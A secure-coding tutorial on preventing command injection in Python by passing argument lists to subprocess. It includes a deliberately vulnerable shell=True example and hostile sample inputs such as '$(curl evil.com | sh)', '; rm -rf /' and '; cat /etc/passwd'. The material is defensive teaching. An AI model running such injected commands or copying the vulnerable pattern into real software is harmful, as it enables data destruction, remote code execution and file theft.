Avoid command injection with subprocess

Learn to avoid command injection with subprocess in this Secure development tutorial. Step 17 covers core concepts, hands-on exercises, troubleshooting, and next steps.

Focus: avoid command injection with subprocess

Sponsored

Picture this: your application accepts a filename from a user, and you need to list its contents. The naive approach — os.system(f"cat {filename}") — feels convenient, but it's a loaded gun. A user can pass ; rm -rf / or $(curl evil.com | sh) and, before you know it, your server is pwned. Command injection remains one of the most devastating vulnerabilities in Python applications, and it all starts with how you invoke external processes. In this lesson, you'll learn why this happens and, more importantly, how to avoid command injection with subprocess — the secure, idiomatic way to run system commands.

The problem this lesson solves

Command injection is a security flaw where an attacker injects operating system commands into a vulnerable application. In Python, it typically arises when you build a command string with user input and pass it to a shell. This is the classic shell injection — the same family as SQL injection, but it targets the OS instead of a database.

CMD INJECTION

The core danger: If your code concatenates user input into a command string and hands it to subprocess.Popen(cmd, shell=True) or os.system(), you're allowing arbitrary code execution. An attacker can read secrets, modify files, or even take over the entire machine.

Consider this real-world scenario: a content-management system that resizes user-uploaded images by calling an ImageMagick CLI tool. A crafted filename like image.jpg; cat /etc/passwd would exfiltrate system data. The fix isn't harder — it's refusing to let the shell interpret your arguments.

Core concept / mental model

Think of subprocess as a messenger system. You have a message (the command) and a list of parcels (arguments). The secure way is to hand the messenger a sealed envelope with the exact command and a separate bag of arguments — the shell never gets a chance to interpret them. The insecure way is to write a giant string on a postcard that says "do whatever you want with this" — that's shell=True.

The golden rule: Never pass a string to subprocess if it contains untrusted data. Pass a list of arguments.

Here's the mental model in three parts:

  1. Parsing safety — When you pass a list, Python directly forwards the arguments to the operating system's exec family functions. No parsing, no interpretation.
  2. Shell absence — The default shell=False means no /bin/sh -c wrapper. There's no shell to interpret metacharacters like ;, |, or $().
  3. Explicit quoting — If you need to pass spaces or special characters, they're part of a single argument, not syntax that gets evaluated.

How it works step by step

Let's walk through the decision process from input to output:

  1. Collect input — Receive the untrusted data (filename, IP, etc.) from user input, environment variables, or config files.
  2. Choose the command — Decide what executable to run. Prefer the absolute path or a well-known binary name.
  3. Build the argument list — Create a list where the first element is the program, and the rest are arguments. Do not interpolate user data into strings that contain shell syntax.
  4. Call subprocess with shell=False — This is the default, so you're safe unless you explicitly set shell=True.
  5. Handle the output — Capture stdout/stderr using capture_output=True or PIPE, and set text=True for string output.
  6. Validate input even when safe — If your command inherently needs a filename format (e.g., --format pdf), validate it against a whitelist before passing it.

Pro tip: Even when you use argument lists, always validate input at the application boundary. Defense in depth means you never trust one safeguard alone.

Hands-on walkthrough

Let's see the difference in practice. Start with the vulnerable pattern:

import subprocess

# VULNERABLE: never do this!
def list_files_unsafe(directory):
    command = f"ls -l {directory}"
    return subprocess.run(command, shell=True, capture_output=True, text=True)

result = list_files_unsafe(".; cat /etc/passwd")
print(result.stdout)

Output: The shell executes ls -l . and then cat /etc/passwd, dumping system credentials.

Now the secure version:

import subprocess

def list_files_safe(directory):
    # The directory is passed as a single argument — no shell interpretation
    return subprocess.run(["ls", "-l", directory], capture_output=True, text=True)

result = list_files_safe(".; cat /etc/passwd")
print(result.returncode)  # 2 (ls error)
print(result.stderr)      # ls: cannot access '.; cat /etc/passwd': No such file or directory

Output: The command fails safely because ls treats the malicious string as a literal filename. No shell, no injection.

But wait — what if you genuinely need shell features like pipes or redirection? You can still avoid injection by constructing pipelines in Python:

import subprocess

# Secure pipeline: list files and count them, no shell needed
process1 = subprocess.Popen(["ls", "-l"], stdout=subprocess.PIPE, text=True)
process2 = subprocess.Popen(["wc", "-l"], stdin=process1.stdout, stdout=subprocess.PIPE, text=True)
process1.stdout.close()
output, _ = process2.communicate()
print(output.strip())

Output: The number of lines in ls -l output. Each process is called without a shell, so even if a filename contained |, it wouldn't be interpreted.

Compare options / when to choose what

Method Shell involvement Injection risk When to use
subprocess.run(list, shell=False) None None Default choice for most commands
subprocess.run(string, shell=True) Yes High Avoid at all costs, unless the string is hardcoded and you're 100% sure no user input reaches it
os.system() Yes High Legacy code; refactor to subprocess
shlex.split() + list None Low (but still parse carefully) When you have a user-provided single-line command string you need to split safely

Recommendation: Always start with subprocess.run(["cmd", arg1, arg2]). If you need shell features, implement them in Python (e.g., using os.replace for redirection). If you absolutely must parse a user command string, use shlex.split() — but remember it doesn't protect against logical injection (e.g., a user typing their own rm -rf /).

Troubleshooting & edge cases

  • Symptom: I get FileNotFoundError when using a list but it worked with a string. Cause: You're relying on shell built-ins (e.g., echo, cd, export). These aren't executables. Fix: use the actual executable (e.g., /bin/echo) or implement in Python.

  • Symptom: My command with spaces fails. Cause: You split a string yourself using .split() — that breaks paths with spaces. Fix: pass the whole path as one element in the list.

  • Symptom: User input contains --help and my program exposes unintended options. Cause: Argument injection, a cousin of command injection. Fix: use the -- separator to stop option parsing: subprocess.run(["grep", "--", pattern, filename]).

  • Symptom: shell=True is unavoidable for a trusted script. Mitigation: If you must, never interpolate user input. Instead, use shlex.quote() on every variable — but this is fragile. Better to refactor.

What you learned & what's next

You've learned that command injection thrives where shell interpretation meets untrusted input. You now know the core rule: pass a list, not a string, to subprocess — that's how you avoid command injection with subprocess. You've completed a hands-on exercise showing the safe and vulnerable patterns, compared options, and troubleshooted common edge cases.

Next in the Secure development track, you'll tackle secure file operations — making sure your file handling doesn't introduce symlink attacks or race conditions. You'll apply the same mindset: never trust input, always opt for explicit safe APIs.

Practice recap

Put this into practice: take a small script that uses os.system(f"grep {user_input} file.txt") and refactor it to use subprocess.run with a list. Test it with a malicious input like "; rm -rf ~" to confirm it fails safely. Then write a short function that runs ls -l on a user-provided path and capture the output.

Common mistakes

  • Using shell=True by default, even with user input — always default to shell=False
  • Building command strings with f-strings and .format() — this is the #1 injection vector
  • Forgetting that echo, cd, and other shell built-ins aren't executables — use /bin/echo or implement in Python
  • Splitting user input with .split() or shlex.split() and assuming it's safe — you still need validation

Variations

  1. Use shlex.split() when you need to parse a user-provided command line into arguments safely
  2. Implement shell features in Python — e.g., pipes with subprocess.Popen chaining, redirection with file objects
  3. Use a library like plumbum for more readable and secure shell commands

Real-world use cases

  • Web application that lets users run git status on selected repositories — pass repo name as argument list
  • Backup script that invokes tar with user-specified directory — pass paths in a list
  • Image processing service that calls convert with a user-uploaded filename — avoid shell interpolation

Key takeaways

  • Command injection occurs when user input reaches a shell via shell=True or os.system()
  • The secure pattern is subprocess.run([list, of, args]) with shell=False (the default)
  • Always validate and sanitize user input even when using argument lists — defense in depth
  • Shell features like pipes and redirection can be safely implemented in Python
  • Use -- to separate options from positional arguments to prevent argument injection

Sponsored

Sponsored

Discussion

Questions, corrections, and tips help everyone reading this page.

0 comments

Add a comment

Shown publicly with your comment.

Be constructive · max 4,000 characters

No comments yet — start the thread.

Related tutorials, quizzes, and articles for this topic.